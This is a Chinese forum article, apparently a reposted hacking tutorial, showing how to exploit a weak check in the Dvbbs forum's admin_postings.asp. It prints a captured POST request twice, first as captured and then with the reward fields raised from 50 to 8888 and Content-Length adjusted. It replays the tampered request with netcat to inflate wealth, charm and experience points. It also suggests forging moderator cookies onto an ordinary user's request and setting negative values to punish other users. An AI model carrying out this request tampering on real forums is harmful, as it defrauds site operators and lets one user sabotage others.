注册
登录
| 关键词： application postings Content image width boardID 127.0 admin 然后 26954 |
动网对admin_postings.asp设置不严..在进行贴子提升时.可以自己定义数字..达到刷分..刷经验及魅力的目的. 比如我有一贴,http://127.0.0.1/dispbbs.asp?boardID=30&ID=26954&page=1然后对本贴进行提升http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954默认提升最高的数目是50..如下图 screen.width-461) window.open('/pic/15/a2005-12-18-7341.webp');" src="/UpLoadFiles/NewsPhoto/-18-7341.webp" onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0>这时候我们用WSockExpert进行抓包....抓到包为 POST /admin_postings.asp?action=uptopic HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*Referer: http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954Accept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Host: 127.0.0.1Content-Length: 141Connection: Keep-AliveCache-Control: no-cacheCookie: DvForum=UserID=617&usercookies=2&password=hjf87126ffz2C3g7y&userhidden=1&userclass=%B0%E6%D6%F7&username=fhod&StatUserID=6127457519; style=null; ASPSESSIONIDCQTDACAT=JHKDJPECDFDKJHDABKIGCLEM; Dvbbs=; upNum=0title=%BA%C3%CE%C4%D5%C2&content=%BA%C3&doWealth=50&douserCP=50&douserEP=50&ID=26954&replyID=&boardID=30&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7然后我们来进行修改.数值修改就在这么一段doWealth=50&douserCP=50&douserEP=50我们改为任意一个数...这里我改了doWealth=8888&douserCP=8888&douserEP=8888图个吉利..哈哈.因为数字修改了..字节也就增加了..我加了6个..所以就做了6个字节..把原来的Content-Length: 141改为Content-Length: 147完成的就为 POST /admin_postings.asp?action=uptopic HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*Referer: http://127.0.0.1/admin_postings.asp?action=提升&BoardID=30&ID=26954Accept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Host: 127.0.0.1Content-Length: 147Connection: Keep-AliveCache-Control: no-cacheCookie: DvForum=UserID=617&usercookies=2&password=hjf87126ffz2C3g7y&userhidden=1&userclass=%B0%E6%D6%F7&username=fhod&StatUserID=6127457519; style=null; ASPSESSIONIDCQTDACAT=JHKDJPECDFDKJHDABKIGCLEM; Dvbbs=; upNum=0title=%BA%C3%CE%C4%D5%C2&content=%BA%C3&doWealth=8888&douserCP=8888&douserEP=8888&ID=26954&replyID=&boardID=30&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7然后nc提交c:\nc 127.0.0.1 80 <1.txt反复提交几次..得到的结果如下图 screen.width-461) window.open('/pic/15/a2005-12-18-6211.webp');" src="/UpLoadFiles/NewsPhoto/-18-6211.webp" onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0>本测试过程是以版主身份进行的..普通用户暂为测试....个人想法是..本地假设一BBS..以版主身份登陆..抓取cookie包..然后以普通用户登陆一论坛..发贴抓一包..然后将两个包修改..进行提交..如果admin_postings.asp真的设置不严格..应该同样可以达到此目的...此漏洞利用不大..不过对于那些需要金币或魅力及经验值达多少才可以浏缆的贴的论坛是大有用户啊...当然..你要整某人一下..大可以把数字改为负数..不过要记的把Content-Length:改对哦, |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
